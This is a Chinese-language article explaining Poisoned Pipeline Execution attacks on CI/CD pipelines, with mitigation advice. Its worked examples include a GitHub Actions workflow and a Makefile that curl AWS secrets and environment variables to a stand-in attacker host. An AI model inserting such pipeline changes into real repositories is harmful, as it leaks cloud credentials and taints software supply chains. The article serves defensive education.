十大 CICD 安全风险(三)
字数 1525 2025-08-11 22:57:18

CICD安全风险之PPE(Poisoned Pipeline Execution)分析与防范指南

1. PPE风险概述

PPE(Poisoned Pipeline Execution)是指攻击者能够访问源代码控制系统但无法直接访问构建环境时,通过将恶意代码/命令注入构建流水线配置来操纵构建过程的风险。这种攻击本质上是"中毒"流水线,使恶意代码成为构建过程的一部分。

风险特征

  • 攻击面存在于代码仓库中可控的CI管道配置文件
  • 通过修改CI配置文件或相关依赖文件实现攻击
  • 特别影响未经审查代码直接执行的流水线(如由拉取请求或分支提交触发的流水线)

2. PPE攻击的三种类型

2.1 直接PPE(D-PPE)

攻击场景

  • 攻击者直接修改有权访问的存储库中的CI配置文件
  • 通过推送更改到未受保护的远程分支或提交PR时随分叉更改实现

攻击流程

  1. 攻击者修改CI配置文件插入恶意命令
  2. 通过"push"或"PR"事件触发流水线执行
  3. 构建节点执行被修改的CI配置文件中的恶意命令

2.2 间接PPE(I-PPE)

适用场景(当D-PPE不可行时):

  1. 流水线配置从受保护分支获取CI配置文件
  2. CI配置文件存储在与源代码不同的仓库
  3. CI构建在CI系统中定义而非源代码文件中

攻击方式
攻击者向流水线配置文件引用的文件中注入恶意代码,包括:

  • Makefile中定义的命令
  • 流水线引用的脚本文件(如Python脚本)
  • 代码测试框架依赖的文件
  • Linter和安全扫描器的配置文件

2.3 公共PPE(3PE)

特殊场景

  • 针对公共/开源存储库
  • 允许匿名用户通过PR贡献代码
  • 流水线运行未经审查的代码

额外风险

  • 如果公共和私有项目使用相同CI实例,可能泄露私有项目敏感信息

3. PPE攻击实例分析

3.1 D-PPE攻击示例(GitHub Actions窃取凭据)

原始配置

name: PIPELINE
on: push
jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - run: |
          echo "building..."
          echo "testing..."
          echo "deploying..."          

攻击步骤

  1. 攻击者创建分支并修改配置文件:
name: PIPELINE
on: push
jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - env:
          ACCESS_KEY: ${{ secrets.AWS_ACCESS_KEY_ID }}
          SECRET_KEY: ${{ secrets.AWS_SECRET_ACCESS_KEY }}
        run: |
                    curl -d creds="$(echo $ACCESS_KEY:$SECRET_KEY | base64 | base64)" hack.com
  1. 推送更新触发流水线
  2. 流水线执行恶意命令,发送AWS凭证到攻击者服务器

3.2 I-PPE攻击示例(Jenkins窃取凭据)

原始配置

  • Jenkinsfile(受保护):
pipeline {
  agent any
  stages {
    stage('build') {
      steps {
        withAWS(credentials: 'AWS_key', region: 'us-east-1') {
          sh 'make build'
          sh 'make clean'
        }
      }
    }
    // 其他阶段...
  }
}
  • Makefile:
build:
    echo "building…"
clean:
    echo "cleaning…"

攻击步骤

  1. 攻击者通过PR修改Makefile:
build:
    curl -d "
$$
(env)" hack.com
clean:
    echo "cleaning…"
  1. PR触发Jenkins流水线
  2. 构建阶段加载AWS凭证后执行恶意make命令
  3. 环境变量(含凭证)被发送到攻击者服务器

4. PPE攻击的影响范围

成功PPE攻击可使攻击者获得与构建任务相同的能力和访问权限:

  1. 凭证访问

    • 环境变量中的机密
    • CI系统中存储的敏感信息
    • 云提供商、制品注册表和SCM的凭证
  2. 系统访问

    • 任务节点文件系统
    • 底层主机可访问的云环境
    • 作业节点网络中的其他主机和资产
  3. 供应链污染

    • 以合法构建过程为掩护传播恶意代码
    • 污染后续流水线阶段和部署的工件

5. PPE风险防范建议

5.1 环境隔离

  • 为运行未经审查代码的流水线配置隔离节点
  • 确保隔离节点不暴露于机密和敏感环境

5.2 公共仓库防护

  • 评估外部贡献者触发流水线的必要性
  • 避免运行源自分叉的流水线
  • 考虑添加手动批准流程

5.3 分支保护

  • 为触发CI的每个分支配置分支保护规则
  • 特别保护包含敏感信息的流水线

5.4 配置管理

  • 在流水线运行前审查每个CI配置文件
  • 将CI配置文件管理与代码分支分离
    • 使用远程受保护分支管理CI配置
    • 与构建代码的分支分开

5.5 权限控制

  • 实施最小权限原则,移除不必要的SCM仓库权限
  • 每个流水线仅分配实现目的所需的最低权限凭证

5.6 凭证管理

  • 使用细粒度访问控制
  • 定期轮换凭证
  • 监控异常凭证使用

通过实施这些措施,组织可以显著降低PPE攻击风险,保护CI/CD流水线免受恶意操纵。

CICD安全风险之PPE(Poisoned Pipeline Execution)分析与防范指南 1. PPE风险概述 PPE(Poisoned Pipeline Execution)是指攻击者能够访问源代码控制系统但无法直接访问构建环境时,通过将恶意代码/命令注入构建流水线配置来操纵构建过程的风险。这种攻击本质上是"中毒"流水线,使恶意代码成为构建过程的一部分。 风险特征 攻击面存在于代码仓库中可控的CI管道配置文件 通过修改CI配置文件或相关依赖文件实现攻击 特别影响未经审查代码直接执行的流水线(如由拉取请求或分支提交触发的流水线) 2. PPE攻击的三种类型 2.1 直接PPE(D-PPE) 攻击场景 : 攻击者直接修改有权访问的存储库中的CI配置文件 通过推送更改到未受保护的远程分支或提交PR时随分叉更改实现 攻击流程 : 攻击者修改CI配置文件插入恶意命令 通过"push"或"PR"事件触发流水线执行 构建节点执行被修改的CI配置文件中的恶意命令 2.2 间接PPE(I-PPE) 适用场景 (当D-PPE不可行时): 流水线配置从受保护分支获取CI配置文件 CI配置文件存储在与源代码不同的仓库 CI构建在CI系统中定义而非源代码文件中 攻击方式 : 攻击者向流水线配置文件引用的文件中注入恶意代码,包括: Makefile中定义的命令 流水线引用的脚本文件(如Python脚本) 代码测试框架依赖的文件 Linter和安全扫描器的配置文件 2.3 公共PPE(3PE) 特殊场景 : 针对公共/开源存储库 允许匿名用户通过PR贡献代码 流水线运行未经审查的代码 额外风险 : 如果公共和私有项目使用相同CI实例,可能泄露私有项目敏感信息 3. PPE攻击实例分析 3.1 D-PPE攻击示例(GitHub Actions窃取凭据) 原始配置 : 攻击步骤 : 攻击者创建分支并修改配置文件: 推送更新触发流水线 流水线执行恶意命令,发送AWS凭证到攻击者服务器 3.2 I-PPE攻击示例(Jenkins窃取凭据) 原始配置 : Jenkinsfile(受保护): Makefile: 攻击步骤 : 攻击者通过PR修改Makefile: PR触发Jenkins流水线 构建阶段加载AWS凭证后执行恶意make命令 环境变量(含凭证)被发送到攻击者服务器 4. PPE攻击的影响范围 成功PPE攻击可使攻击者获得与构建任务相同的能力和访问权限: 凭证访问 : 环境变量中的机密 CI系统中存储的敏感信息 云提供商、制品注册表和SCM的凭证 系统访问 : 任务节点文件系统 底层主机可访问的云环境 作业节点网络中的其他主机和资产 供应链污染 : 以合法构建过程为掩护传播恶意代码 污染后续流水线阶段和部署的工件 5. PPE风险防范建议 5.1 环境隔离 为运行未经审查代码的流水线配置隔离节点 确保隔离节点不暴露于机密和敏感环境 5.2 公共仓库防护 评估外部贡献者触发流水线的必要性 避免运行源自分叉的流水线 考虑添加手动批准流程 5.3 分支保护 为触发CI的每个分支配置分支保护规则 特别保护包含敏感信息的流水线 5.4 配置管理 在流水线运行前审查每个CI配置文件 将CI配置文件管理与代码分支分离 使用远程受保护分支管理CI配置 与构建代码的分支分开 5.5 权限控制 实施最小权限原则,移除不必要的SCM仓库权限 每个流水线仅分配实现目的所需的最低权限凭证 5.6 凭证管理 使用细粒度访问控制 定期轮换凭证 监控异常凭证使用 通过实施这些措施,组织可以显著降低PPE攻击风险,保护CI/CD流水线免受恶意操纵。